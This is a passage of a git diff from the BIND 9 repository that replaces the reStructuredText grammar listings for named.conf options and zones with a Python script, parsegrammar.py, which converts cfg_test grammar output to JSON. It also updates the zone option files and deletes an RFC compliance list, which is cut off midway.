-                update-check-ksk <boolean>;
-                update-policy ( local | { ( deny | grant ) <string> (
-                    6to4-self | external | krb5-self | krb5-selfsub |
-                    krb5-subdomain | ms-self | ms-selfsub | ms-subdomain |
-                    name | self | selfsub | selfwild | subdomain | tcp-self
-                    | wildcard | zonesub ) [ <string> ] <rrtypelist>; ... };
-                use-alt-transfer-source <boolean>;
-                zero-no-soa-ttl <boolean>;
-                zone-statistics ( full | terse | none | <boolean> );
-        }; // may occur multiple times
-        zone-statistics ( full | terse | none | <boolean> );
-}; // may occur multiple times
-
-zone <string> [ <class> ] {
-        allow-notify { <address_match_element>; ... };
-        allow-query { <address_match_element>; ... };
-        allow-query-on { <address_match_element>; ... };
-        allow-transfer { <address_match_element>; ... };
-        allow-update { <address_match_element>; ... };
-        allow-update-forwarding { <address_match_element>; ... };
-        also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-            * ) ] [ dscp <integer> ];
-        auto-dnssec ( allow | maintain | off );
-        check-dup-records ( fail | warn | ignore );
-        check-integrity <boolean>;
-        check-mx ( fail | warn | ignore );
-        check-mx-cname ( fail | warn | ignore );
-        check-names ( fail | warn | ignore );
-        check-sibling <boolean>;
-        check-spf ( warn | ignore );
-        check-srv-cname ( fail | warn | ignore );
-        check-wildcard <boolean>;
-        database <string>;
-        delegation-only <boolean>;
-        dialup ( notify | notify-passive | passive | refresh | <boolean> );
-        dlz <string>;
-        dnskey-sig-validity <integer>;
-        dnssec-dnskey-kskonly <boolean>;
-        dnssec-loadkeys-interval <integer>;
-        dnssec-policy <string>;
-        dnssec-secure-to-insecure <boolean>;
-        dnssec-update-mode ( maintain | no-resign );
-        file <quoted_string>;
-        forward ( first | only );
-        forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-            | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-        in-view <string>;
-        inline-signing <boolean>;
-        ixfr-from-differences <boolean>;
-        journal <quoted_string>;
-        key-directory <quoted_string>;
-        masterfile-format ( map | raw | text );
-        masterfile-style ( full | relative );
-        masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        max-ixfr-ratio ( unlimited | <percentage> );
-        max-journal-size ( default | unlimited | <sizeval> );
-        max-records <integer>;
-        max-refresh-time <integer>;
-        max-retry-time <integer>;
-        max-transfer-idle-in <integer>;
-        max-transfer-idle-out <integer>;
-        max-transfer-time-in <integer>;
-        max-transfer-time-out <integer>;
-        max-zone-ttl ( unlimited | <duration> );
-        min-refresh-time <integer>;
-        min-retry-time <integer>;
-        multi-master <boolean>;
-        notify ( explicit | master-only | primary-only | <boolean> );
-        notify-delay <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        notify-to-soa <boolean>;
-        primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        serial-update-method ( date | increment | unixtime );
-        server-addresses { ( <ipv4_address> | <ipv6_address> ); ... };
-        server-names { <string>; ... };
-        sig-signing-nodes <integer>;
-        sig-signing-signatures <integer>;
-        sig-signing-type <integer>;
-        sig-validity-interval <integer> [ <integer> ];
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        try-tcp-refresh <boolean>;
-        type ( primary | master | secondary | slave | mirror |
-            delegation-only | forward | hint | redirect | static-stub |
-            stub );
-        update-check-ksk <boolean>;
-        update-policy ( local | { ( deny | grant ) <string> ( 6to4-self |
-            external | krb5-self | krb5-selfsub | krb5-subdomain | ms-self
-            | ms-selfsub | ms-subdomain | name | self | selfsub | selfwild
-            | subdomain | tcp-self | wildcard | zonesub ) [ <string> ]
-            <rrtypelist>; ... };
-        use-alt-transfer-source <boolean>;
-        zero-no-soa-ttl <boolean>;
-        zone-statistics ( full | terse | none | <boolean> );
-}; // may occur multiple times
-
diff --git a/doc/misc/options.grammar.rst b/doc/misc/options.grammar.rst
deleted file mode 100644
index 9ee853c6a9..0000000000
--- a/doc/misc/options.grammar.rst
+++ /dev/null
@@ -1,310 +0,0 @@
-::
-
-  options {
-  	allow-new-zones <boolean>;
-  	allow-notify { <address_match_element>; ... };
-  	allow-query { <address_match_element>; ... };
-  	allow-query-cache { <address_match_element>; ... };
-  	allow-query-cache-on { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	allow-recursion { <address_match_element>; ... };
-  	allow-recursion-on { <address_match_element>; ... };
-  	allow-transfer { <address_match_element>; ... };
-  	allow-update { <address_match_element>; ... };
-  	allow-update-forwarding { <address_match_element>; ... };
-  	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-  	    <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-  	    <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-  	    ] [ dscp <integer> ];
-  	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-  	    * ) ] [ dscp <integer> ];
-  	answer-cookie <boolean>;
-  	attach-cache <string>;
-  	auth-nxdomain <boolean>;
-  	auto-dnssec ( allow | maintain | off );
-  	automatic-interface-scan <boolean>;
-  	avoid-v4-udp-ports { <portrange>; ... };
-  	avoid-v6-udp-ports { <portrange>; ... };
-  	bindkeys-file <quoted_string>;
-  	blackhole { <address_match_element>; ... };
-  	cache-file <quoted_string>;
-  	catalog-zones { zone <string> [ default-masters [ port <integer> ]
-  	    [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port
-  	    <integer> ] | <ipv6_address> [ port <integer> ] ) [ key
-  	    <string> ] [ tls <string> ]; ... } ] [ zone-directory
-  	    <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval
-  	    <duration> ]; ... };
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity <boolean>;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( primary | master |
-  	    secondary | slave | response ) (
-  	    fail | warn | ignore );
-  	check-sibling <boolean>;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard <boolean>;
-  	clients-per-query <integer>;
-  	cookie-algorithm ( aes | siphash24 );
-  	cookie-secret <string>;
-  	coresize ( default | unlimited | <sizeval> );
-  	datasize ( default | unlimited | <sizeval> );
-  	deny-answer-addresses { <address_match_element>; ... } [
-  	    except-from { <string>; ... } ];
-  	deny-answer-aliases { <string>; ... } [ except-from { <string>; ...
-  	    } ];
-  	dialup ( notify | notify-passive | passive | refresh | <boolean> );
-  	directory <quoted_string>;
-  	disable-algorithms <string> { <string>;
-  	    ... };
-  	disable-ds-digests <string> { <string>;
-  	    ... };
-  	disable-empty-zone <string>;
-  	dns64 <netprefix> {
-  		break-dnssec <boolean>;
-  		clients { <address_match_element>; ... };
-  		exclude { <address_match_element>; ... };
-  		mapped { <address_match_element>; ... };
-  		recursive-only <boolean>;
-  		suffix <ipv6_address>;
-  	};
-  	dns64-contact <string>;
-  	dns64-server <string>;
-  	dnskey-sig-validity <integer>;
-  	dnsrps-enable <boolean>;
-  	dnsrps-options { <unspecified-text> };
-  	dnssec-accept-expired <boolean>;
-  	dnssec-dnskey-kskonly <boolean>;
-  	dnssec-loadkeys-interval <integer>;
-  	dnssec-must-be-secure <string> <boolean>;
-  	dnssec-policy <string>;
-  	dnssec-secure-to-insecure <boolean>;
-  	dnssec-update-mode ( maintain | no-resign );
-  	dnssec-validation ( yes | no | auto );
-  	dnstap { ( all | auth | client | forwarder | resolver | update ) [
-  	    ( query | response ) ]; ... };
-  	dnstap-identity ( <quoted_string> | none | hostname );
-  	dnstap-output ( file | unix ) <quoted_string> [ size ( unlimited |
-  	    <size> ) ] [ versions ( unlimited | <integer> ) ] [ suffix (
-  	    increment | timestamp ) ];
-  	dnstap-version ( <quoted_string> | none );
-  	dscp <integer>;
-  	dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port
-  	    <integer> ] [ dscp <integer> ] | <ipv4_address> [ port
-  	    <integer> ] [ dscp <integer> ] | <ipv6_address> [ port
-  	    <integer> ] [ dscp <integer> ] ); ... };
-  	dump-file <quoted_string>;
-  	edns-udp-size <integer>;
-  	empty-contact <string>;
-  	empty-server <string>;
-  	empty-zones-enable <boolean>;
-  	fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
-  	fetches-per-server <integer> [ ( drop | fail ) ];
-  	fetches-per-zone <integer> [ ( drop | fail ) ];
-  	files ( default | unlimited | <sizeval> );
-  	flush-zones-on-shutdown <boolean>;
-  	forward ( first | only );
-  	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-  	    | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-  	fstrm-set-buffer-hint <integer>;
-  	fstrm-set-flush-timeout <integer>;
-  	fstrm-set-input-queue-size <integer>;
-  	fstrm-set-output-notify-threshold <integer>;
-  	fstrm-set-output-queue-model ( mpsc | spsc );
-  	fstrm-set-output-queue-size <integer>;
-  	fstrm-set-reopen-interval <duration>;
-  	geoip-directory ( <quoted_string> | none );
-  	glue-cache <boolean>; // deprecated
-  	heartbeat-interval <integer>;
-  	hostname ( <quoted_string> | none );
-  	http-port <integer>;
-  	https-port <integer>;
-  	interface-interval <duration>;
-  	ipv4only-contact <string>;
-  	ipv4only-enable <boolean>;
-  	ipv4only-server <string>;
-  	ixfr-from-differences ( primary | master | secondary | slave |
-  	    <boolean> );
-  	keep-response-order { <address_match_element>; ... };
-  	key-directory <quoted_string>;
-  	lame-ttl <duration>;
-  	listen-on [ port <integer> ] [ dscp
-  	    <integer> ] [ tls <string> ] [ http
-  	    <string> ] {
-  	    <address_match_element>; ... };
-  	listen-on-v6 [ port <integer> ] [ dscp
-  	    <integer> ] [ tls <string> ] [ http
-  	    <string> ] {
-  	    <address_match_element>; ... };
-  	lmdb-mapsize <sizeval>;
-  	lock-file ( <quoted_string> | none );
-  	managed-keys-directory <quoted_string>;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	match-mapped-addresses <boolean>;
-  	max-cache-size ( default | unlimited | <sizeval> | <percentage> );
-  	max-cache-ttl <duration>;
-  	max-clients-per-query <integer>;
-  	max-ixfr-ratio ( unlimited | <percentage> );
-  	max-journal-size ( default | unlimited | <sizeval> );
-  	max-ncache-ttl <duration>;
-  	max-records <integer>;
-  	max-recursion-depth <integer>;
-  	max-recursion-queries <integer>;
-  	max-refresh-time <integer>;
-  	max-retry-time <integer>;
-  	max-rsa-exponent-size <integer>;
-  	max-stale-ttl <duration>;
-  	max-transfer-idle-in <integer>;
-  	max-transfer-idle-out <integer>;
-  	max-transfer-time-in <integer>;
-  	max-transfer-time-out <integer>;
-  	max-udp-size <integer>;
-  	max-zone-ttl ( unlimited | <duration> );
-  	memstatistics <boolean>;
-  	memstatistics-file <quoted_string>;
-  	message-compression <boolean>;
-  	min-cache-ttl <duration>;
-  	min-ncache-ttl <duration>;
-  	min-refresh-time <integer>;
-  	min-retry-time <integer>;
-  	minimal-any <boolean>;
-  	minimal-responses ( no-auth | no-auth-recursive | <boolean> );
-  	multi-master <boolean>;
-  	new-zones-directory <quoted_string>;
-  	no-case-compress { <address_match_element>; ... };
-  	nocookie-udp-size <integer>;
-  	notify ( explicit | master-only | primary-only | <boolean> );
-  	notify-delay <integer>;
-  	notify-rate <integer>;
-  	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-  	    dscp <integer> ];
-  	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-  	    [ dscp <integer> ];
-  	notify-to-soa <boolean>;
-  	nta-lifetime <duration>;
-  	nta-recheck <duration>;
-  	nxdomain-redirect <string>;
-  	pid-file ( <quoted_string> | none );
-  	port <integer>;
-  	preferred-glue <string>;
-  	prefetch <integer> [ <integer> ];
-  	provide-ixfr <boolean>;
-  	qname-minimization ( strict | relaxed | disabled | off );
-  	query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-  	    <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-  	    port ( <integer> | * ) ) ) [ dscp <integer> ];
-  	query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-  	    <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-  	    port ( <integer> | * ) ) ) [ dscp <integer> ];
-  	querylog <boolean>;
-  	random-device ( <quoted_string> | none );
-  	rate-limit {
-  		all-per-second <integer>;
-  		errors-per-second <integer>;
-  		exempt-clients { <address_match_element>; ... };
-  		ipv4-prefix-length <integer>;
-  		ipv6-prefix-length <integer>;
-  		log-only <boolean>;
-  		max-table-size <integer>;
-  		min-table-size <integer>;
-  		nodata-per-second <integer>;
-  		nxdomains-per-second <integer>;
-  		qps-scale <integer>;
-  		referrals-per-second <integer>;
-  		responses-per-second <integer>;
-  		slip <integer>;
-  		window <integer>;
-  	};
-  	recursing-file <quoted_string>;
-  	recursion <boolean>;
-  	recursive-clients <integer>;
-  	request-expire <boolean>;
-  	request-ixfr <boolean>;
-  	request-nsid <boolean>;
-  	require-server-cookie <boolean>;
-  	reserved-sockets <integer>;
-  	resolver-nonbackoff-tries <integer>;
-  	resolver-query-timeout <integer>;
-  	resolver-retry-interval <integer>;
-  	response-padding { <address_match_element>; ... } block-size
-  	    <integer>;
-  	response-policy { zone <string> [ add-soa <boolean> ] [ log
-  	    <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval
-  	    <duration> ] [ policy ( cname | disabled | drop | given | no-op
-  	    | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [
-  	    recursive-only <boolean> ] [ nsip-enable <boolean> ] [
-  	    nsdname-enable <boolean> ]; ... } [ add-soa <boolean> ] [
-  	    break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [
-  	    min-update-interval <duration> ] [ min-ns-dots <integer> ] [
-  	    nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean>
-  	    ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ]
-  	    [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [
-  	    dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text>
-  	    } ];
-  	root-delegation-only [ exclude { <string>; ... } ];
-  	root-key-sentinel <boolean>;
-  	rrset-order { [ class <string> ] [ type <string> ] [ name
-  	    <quoted_string> ] <string> <string>; ... };
-  	secroots-file <quoted_string>;
-  	send-cookie <boolean>;
-  	serial-query-rate <integer>;
-  	serial-update-method ( date | increment | unixtime );
-  	server-id ( <quoted_string> | none | hostname );
-  	servfail-ttl <duration>;
-  	session-keyalg <string>;
-  	session-keyfile ( <quoted_string> | none );
-  	session-keyname <string>;
-  	sig-signing-nodes <integer>;
-  	sig-signing-signatures <integer>;
-  	sig-signing-type <integer>;
-  	sig-validity-interval <integer> [ <integer> ];
-  	sortlist { <address_match_element>; ... };
-  	stacksize ( default | unlimited | <sizeval> );
-  	stale-answer-client-timeout ( disabled | off | <integer> );
-  	stale-answer-enable <boolean>;
-  	stale-answer-ttl <duration>;
-  	stale-cache-enable <boolean>;
-  	stale-refresh-time <duration>;
-  	startup-notify-rate <integer>;
-  	statistics-file <quoted_string>;
-  	synth-from-dnssec <boolean>;
-  	tcp-advertised-timeout <integer>;
-  	tcp-clients <integer>;
-  	tcp-idle-timeout <integer>;
-  	tcp-initial-timeout <integer>;
-  	tcp-keepalive-timeout <integer>;
-  	tcp-listen-queue <integer>;
-  	tcp-receive-buffer <integer>;
-  	tcp-send-buffer <integer>;
-  	tkey-dhkey <quoted_string> <integer>;
-  	tkey-domain <quoted_string>;
-  	tkey-gssapi-credential <quoted_string>;
-  	tkey-gssapi-keytab <quoted_string>;
-  	tls-port <integer>;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-message-size <integer>;
-  	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-  	    dscp <integer> ];
-  	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-  	    ] [ dscp <integer> ];
-  	transfers-in <integer>;
-  	transfers-out <integer>;
-  	transfers-per-ns <integer>;
-  	trust-anchor-telemetry <boolean>; // experimental
-  	try-tcp-refresh <boolean>;
-  	udp-receive-buffer <integer>;
-  	udp-send-buffer <integer>;
-  	update-check-ksk <boolean>;
-  	use-alt-transfer-source <boolean>;
-  	use-v4-udp-ports { <portrange>; ... };
-  	use-v6-udp-ports { <portrange>; ... };
-  	v6-bias <integer>;
-  	validate-except { <string>; ... };
-  	version ( <quoted_string> | none );
-  	zero-no-soa-ttl <boolean>;
-  	zero-no-soa-ttl-cache <boolean>;
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/parsegrammar.py b/doc/misc/parsegrammar.py
new file mode 100644
index 0000000000..b3fede04e5
--- /dev/null
+++ b/doc/misc/parsegrammar.py
@@ -0,0 +1,194 @@
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+Read ISC config grammar description produced by "cfg_test --grammar",
+transform it into JSON, and print it to stdout.
+
+Beware: This parser is pretty dumb and heavily depends on cfg_test output
+format. See parse_mapbody() for more details.
+
+Maps are recursively parsed into sub-dicts, all other elements (lists etc.)
+are left intact and returned as one string.
+
+Output example from named.conf grammar showing three variants follow.
+Keys "_flags" and "_id" are present only if non-empty. Key "_grammar" denotes
+end node, key "_mapbody" denotes a nested map.
+
+{
+    "acl": {
+        "_flags": [
+            "may occur multiple times"
+        ],
+        "_grammar": "<string> { <address_match_element>; ... }"
+    },
+    "http": {
+        "_flags": [
+            "may occur multiple times"
+        ],
+        "_id": "<string>",
+        "_mapbody": {
+            "endpoints": {
+                "_grammar": "{ <quoted_string>; ... }"
+            },
+            "streams-per-connection": {
+                "_grammar": "<integer>"
+            }
+        }
+    },
+    "options": {
+        "_mapbody": {
+            "rate-limit": {
+                "_mapbody": {
+                    "all-per-second": {
+                        "_grammar": "<integer>"
+                    }
+                }
+            }
+        }
+    }
+}
+"""
+import fileinput
+import json
+import re
+
+FLAGS = [
+    "may occur multiple times",
+    "obsolete",
+    "deprecated",
+    "experimental",
+    "test only",
+]
+
+KEY_REGEX = re.compile("[a-zA-Z0-9-]+")
+
+
+def split_comments(line):
+    """Split line on comment boundary and strip right-side whitespace.
+    Supports only #, //, and /* comments which end at the end of line.
+    It does NOT handle:
+    - quoted strings
+    - /* comments which do not end at line boundary
+    - multiple /* comments on a single line
+    """
+    assert '"' not in line, 'lines with " are not supported'
+    data_end_idx = len(line)
+    for delimiter in ["#", "//", "/*"]:
+        try:
+            data_end_idx = min(line.index(delimiter), data_end_idx)
+        except ValueError:
+            continue
+        if delimiter == "/*":
+            # sanity checks
+            if not line.rstrip().endswith("*/"):
+                raise NotImplementedError(
+                    "unsupported /* comment, does not end at the end of line", line
+                )
+            if "/*" in line[data_end_idx + 1 :]:
+                raise NotImplementedError(
+                    "unsupported line with multiple /* comments", line
+                )
+
+    noncomment = line[:data_end_idx]
+    comment = line[data_end_idx:]
+    return noncomment, comment
+
+
+def parse_line(filein):
+    """Consume single line from input, return non-comment and comment."""
+    for line in filein:
+        line, comment = split_comments(line)
+        line = line.strip()
+        comment = comment.strip()
+        if not line:
+            continue
+        yield line, comment
+
+
+def parse_flags(comments):
+    """Extract known flags from comments. Must match exact strings used by cfg_test."""
+    out = []
+    for flag in FLAGS:
+        if flag in comments:
+            out.append(flag)
+    return out
+
+
+def parse_mapbody(filein):
+    """Parse body of a "map" in ISC config format.
+
+    Input lines can be only:
+    - whitespace & comments only -> ignore
+    - <keyword> <anything>; -> store <anything> as "_grammar" for this keyword
+    - <keyword> <anything> { -> parse sub-map and store (optional) <anything> as "_id",
+                                producing nested dict under "_mapbody"
+    Also store known strings found at the end of line in "_flags".
+
+    Returns:
+    - tuple (map dict, map comment) when }; line is reached
+    - map dict when we run out of lines without the closing };
+    """
+    thismap = {}
+    for line, comment in parse_line(filein):
+        flags = parse_flags(comment)
+        if line == "};":  # end of a nested map
+            return thismap, flags
+
+        # first word - a map key name
+        # beware: some statements do not have parameters, e.g. "null;"
+        key = line.split()[0].rstrip(";")
+        # map key sanity check
+        if not KEY_REGEX.fullmatch(key):
+            raise NotImplementedError("suspicious keyword detected", line)
+
+        # omit keyword from the grammar
+        grammar = line[len(key) :].strip()
+        # also skip final ; or {
+        grammar = grammar[:-1].strip()
+
+        thismap[key] = {}
+        if line.endswith("{"):
+            # nested map, recurse, but keep "extra identifiers" if any
+            try:
+                subkeys, flags = parse_mapbody(filein)
+            except ValueError:
+                raise ValueError("unfinished nested map, missing }; detected") from None
+            if flags:
+                thismap[key]["_flags"] = flags
+            if grammar:
+                # for lines which look like "view <name> {" store "<name>"
+                thismap[key]["_id"] = grammar
+            thismap[key]["_mapbody"] = subkeys
+        else:
+            assert line.endswith(";")
+            if flags:
+                thismap[key]["_flags"] = flags
+            thismap[key]["_grammar"] = grammar
+
+    # Ran out of lines: can happen only on the end of the top-level map-body!
+    # Intentionally do not return second parameter to cause ValueError
+    # if we reach this spot with a missing }; in a nested map.
+    assert len(thismap)
+    return thismap
+
+
+def main():
+    """Read stdin or filename provided on command line"""
+    with fileinput.input() as filein:
+        grammar = parse_mapbody(filein)
+    print(json.dumps(grammar, indent=4))
+
+
+if __name__ == "__main__":
+    main()
diff --git a/doc/misc/primaries.grammar.rst b/doc/misc/primaries.grammar.rst
deleted file mode 100644
index cfc7601724..0000000000
--- a/doc/misc/primaries.grammar.rst
+++ /dev/null
@@ -1,7 +0,0 @@
-::
-
-  primaries <string> [ port <integer> ] [ dscp
-      <integer> ] { ( <primaries> | <ipv4_address>
-      [ port <integer> ] | <ipv6_address> [ port
-      <integer> ] ) [ key <string> ] [ tls
-      <string> ]; ... };
diff --git a/doc/misc/primary.zoneopt b/doc/misc/primary.zoneopt
new file mode 100644
index 0000000000..e3c6ef69d5
--- /dev/null
+++ b/doc/misc/primary.zoneopt
@@ -0,0 +1,61 @@
+zone <string> [ <class> ] {
+	type primary;
+	allow-query { <address_match_element>; ... };
+	allow-query-on { <address_match_element>; ... };
+	allow-transfer [ port <integer> ] [ transport <string> ] { <address_match_element>; ... };
+	allow-update { <address_match_element>; ... };
+	also-notify [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	check-dup-records ( fail | warn | ignore );
+	check-integrity <boolean>;
+	check-mx ( fail | warn | ignore );
+	check-mx-cname ( fail | warn | ignore );
+	check-names ( fail | warn | ignore );
+	check-sibling <boolean>;
+	check-spf ( warn | ignore );
+	check-srv-cname ( fail | warn | ignore );
+	check-svcb <boolean>;
+	check-wildcard <boolean>;
+	checkds ( explicit | <boolean> );
+	database <string>;
+	dialup ( notify | notify-passive | passive | refresh | <boolean> ); // deprecated
+	dlz <string>;
+	dnskey-sig-validity <integer>; // obsolete
+	dnssec-dnskey-kskonly <boolean>; // obsolete
+	dnssec-loadkeys-interval <integer>;
+	dnssec-policy <string>;
+	dnssec-secure-to-insecure <boolean>; // obsolete
+	dnssec-update-mode ( maintain | no-resign ); // obsolete
+	file <quoted_string>;
+	forward ( first | only );
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
+	inline-signing <boolean>;
+	ixfr-from-differences <boolean>;
+	journal <quoted_string>;
+	key-directory <quoted_string>;
+	masterfile-format ( raw | text );
+	masterfile-style ( full | relative );
+	max-ixfr-ratio ( unlimited | <percentage> );
+	max-journal-size ( default | unlimited | <sizeval> );
+	max-records <integer>;
+	max-transfer-idle-out <integer>;
+	max-transfer-time-out <integer>;
+	max-zone-ttl ( unlimited | <duration> ); // deprecated
+	notify ( explicit | master-only | primary-only | <boolean> );
+	notify-delay <integer>;
+	notify-source ( <ipv4_address> | * );
+	notify-source-v6 ( <ipv6_address> | * );
+	notify-to-soa <boolean>;
+	nsec3-test-zone <boolean>; // test only
+	parental-agents [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	parental-source ( <ipv4_address> | * );
+	parental-source-v6 ( <ipv6_address> | * );
+	serial-update-method ( date | increment | unixtime );
+	sig-signing-nodes <integer>;
+	sig-signing-signatures <integer>;
+	sig-signing-type <integer>;
+	sig-validity-interval <integer> [ <integer> ]; // obsolete
+	update-check-ksk <boolean>; // obsolete
+	update-policy ( local | { ( deny | grant ) <string> ( 6to4-self | external | krb5-self | krb5-selfsub | krb5-subdomain | krb5-subdomain-self-rhs | ms-self | ms-selfsub | ms-subdomain | ms-subdomain-self-rhs | name | self | selfsub | selfwild | subdomain | tcp-self | wildcard | zonesub ) [ <string> ] <rrtypelist>; ... } );
+	zero-no-soa-ttl <boolean>;
+	zone-statistics ( full | terse | none | <boolean> );
+};
diff --git a/doc/misc/redirect.zoneopt b/doc/misc/redirect.zoneopt
index ac53d5499c..c0bee863fb 100644
--- a/doc/misc/redirect.zoneopt
+++ b/doc/misc/redirect.zoneopt
@@ -4,11 +4,10 @@ zone <string> [ <class> ] {
 	allow-query-on { <address_match_element>; ... };
 	dlz <string>;
 	file <quoted_string>;
-	masterfile-format ( map | raw | text );
+	masterfile-format ( raw | text );
 	masterfile-style ( full | relative );
-	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
 	max-records <integer>;
-	max-zone-ttl ( unlimited | <duration> );
-	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	max-zone-ttl ( unlimited | <duration> ); // deprecated
+	primaries [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
 	zone-statistics ( full | terse | none | <boolean> );
 };
diff --git a/doc/misc/redirect.zoneopt.rst b/doc/misc/redirect.zoneopt.rst
deleted file mode 100644
index bf263cd00d..0000000000
--- a/doc/misc/redirect.zoneopt.rst
+++ /dev/null
@@ -1,16 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type redirect;
-  	allow-query { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	dlz <string>;
-  	file <quoted_string>;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	max-records <integer>;
-  	max-zone-ttl ( unlimited | <duration> );
-  	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/rfc-compliance b/doc/misc/rfc-compliance
deleted file mode 100644
index c1694c9b16..0000000000
--- a/doc/misc/rfc-compliance
+++ /dev/null
@@ -1,189 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-BIND 9 is striving for strict compliance with IETF standards.  We
-believe this release of BIND 9 complies with the following RFCs, with
-the caveats and exceptions listed in the numbered notes below.  Note
-that a number of these RFCs do not have the status of Internet
-standards but are proposed or draft standards, experimental RFCs,
-or Best Current Practice (BCP) documents.  The list is non exhaustive.
-
-  RFC1034
-  RFC1035 [1] [2]
-  RFC1101
-  RFC1123
-  RFC1183
-  RFC1521 [16]
-  RFC1535
-  RFC1536
-  RFC1706
-  RFC1712
-  RFC1750
-  RFC1876
-  RFC1982
-  RFC1995
-  RFC1996
-  RFC2136
-  RFC2163
-  RFC2181
-  RFC2230
-  RFC2308
-  RFC2539
-  RFC2606 [17]
-  RFC2782
-  RFC2845
-  RFC2874 [18]
-  RFC2915
-  RFC2930
-  RFC2931 [5]
-  RFC3007
-  RFC3110
-  RFC3123
-  RFC3225
-  RFC3226
-  RFC3363 [6]
-  RFC3490 [7]
